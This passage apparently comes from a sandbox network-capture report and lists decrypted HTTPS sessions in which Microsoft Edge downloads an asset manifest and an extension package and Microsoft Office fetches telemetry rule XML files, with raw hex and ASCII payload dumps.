2024-11-20 22:12:52 UTC	16384	IN	Data Raw: 4a b0 09 cb 82 45 ac c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 Data Ascii: JEqb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1
2024-11-20 22:12:52 UTC	16384	IN	Data Raw: 2f 4d 35 19 b9 3f d5 c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 Data Ascii: /M5?Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|c
2024-11-20 22:12:52 UTC	16384	IN	Data Raw: 99 dc 5a 2e 69 cf 52 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 Data Ascii: Z.iRAHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`
2024-11-20 22:12:52 UTC	5254	IN	Data Raw: 29 50 5f 50 34 9a d3 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 Data Ascii: )P_P4*'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.7	49853	13.107.246.40	443	5196	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:51 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 22:12:52 UTC	557	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:52 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 1d8d0b2c-901e-000f-0299-3b85f1000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T221251Z-178bfbc474bnwsh4hC1NYC2ubs00000000hg00000000zhyz Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-20 22:12:52 UTC	15827	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-20 22:12:52 UTC	16384	IN	Data Raw: ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c 87 07 e7 d4 da 16 34 27 65 eb d7 87 be 44 96 29 71 b2 3a d6 Data Ascii: [T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp4'eD)q:
2024-11-20 22:12:53 UTC	16384	IN	Data Raw: 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d d9 e8 78 24 ab 24 51 69 66 82 d7 44 e8 1d cf c8 e2 16 60 37 Data Ascii: kD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-x$$QifD`7
2024-11-20 22:12:53 UTC	16384	IN	Data Raw: 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 6e 30 91 49 05 4e 42 60 22 53 9e 67 6f 08 ac 30 cf 05 cd b5 Data Ascii: sg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM*]z_]y]DZgtc>qDX\\M,SqPn0INB`"Sgo0
2024-11-20 22:12:53 UTC	16384	IN	Data Raw: 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e 6f 2b 5e 74 f2 ea 6e 17 ed 6d 37 04 2d f5 5a 8e f8 43 2b c3 Data Ascii: MR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.Vo+^tnm7-ZC+
2024-11-20 22:12:53 UTC	16384	IN	Data Raw: c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 4e 60 6b e1 20 c2 ba 99 b8 6d 1e 51 d5 3c d5 da e1 b5 2c a1 Data Ascii: yfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\N`k mQ<,
2024-11-20 22:12:53 UTC	16384	IN	Data Raw: 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 45 bf 50 93 bc bc 7d c3 e9 75 22 5d 68 d9 1e 50 8f 5c 23 a1 Data Ascii: b.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>JcEP}u"]hP\#
2024-11-20 22:12:53 UTC	16384	IN	Data Raw: 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 c6 95 ea 57 bd 73 50 18 1d 54 fb 07 d5 da 41 bd 99 aa 6f 53 Data Ascii: u\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{OWsPTAoS
2024-11-20 22:12:53 UTC	16384	IN	Data Raw: f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 65 5d 3f 2f 1b ab ff 79 9a 2b b3 79 5d 62 4f 7c d5 ff 34 22 Data Ascii: Jj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@e]?/y+y]bO\|4"
2024-11-20 22:12:53 UTC	16384	IN	Data Raw: 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 cb e9 d4 75 42 52 43 29 e8 e5 94 bf 82 e4 a6 c8 40 37 67 5f Data Ascii: IdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>uBRC)@7g_

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.7	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:51 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:52 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:51 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 0cd4e810-101e-0079-148c-3a5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221251Z-1777c6cb754j8gqphC1TEB5bf80000000a700000000024g4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:52 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.7	49856	23.55.235.251	443	5196	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:51 UTC	620	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732745565&P2=404&P3=2&P4=ZB%2bgXIBj4Agt2BtC%2fHONEDZa4nJCsA54Y6a4hDZMGCocwgxByvi0bqY%2bbG%2f739O39OvTR6OWeltaK4qP1WHXyA%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: 3W4gswHZEdTNr8XH/+eg/y Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 22:12:52 UTC	1215	IN	HTTP/1.1 200 OK Content-Type: application/x-chrome-extension Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT Accept-Ranges: bytes ETag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Server: Microsoft-IIS/10.0 X-AspNetMvc-Version: 5.3 MS-CorrelationId: f3a6b0db-d424-42f8-914f-b524b979fc4c MS-RequestId: 2d294dc2-3fd1-4326-8ed3-a1e819a4a5b0 MS-CV: k6z74MakvqsYJXTdyvysDD.0 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Cache-Control: public, max-age=86353 Date: Wed, 20 Nov 2024 22:12:52 GMT Alt-Svc: h3=":443"; ma=93600,h3-29=":443"; ma=93600,h3-Q050=":443"; ma=93600,quic=":443"; ma=93600; v="46,43" Connection: close Akamai-Request-BC: [a=23.54.161.79,b=69205164,c=g,n=US_NJ_NEWARK,o=20940] MSREGION: X-CCC: X-CID: 3 Akamai-GRN: 0.4fa13617.1732140772.41ffcac Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: Server,range,hdntl,hdnts,Akamai-Mon-Iucid-Ing,Akamai-Mon-Iucid-Del,Akamai-Request-BC Access-Control-Allow-Headers: origin,range,hdntl,hdnts,CMCD-Request,CMCD-Object,CMCD-Status,CMCD-Session Access-Control-Allow-Methods: GET,POST,OPTIONS Access-Control-Allow-Origin: *
2024-11-20 22:12:52 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.7	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:52 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
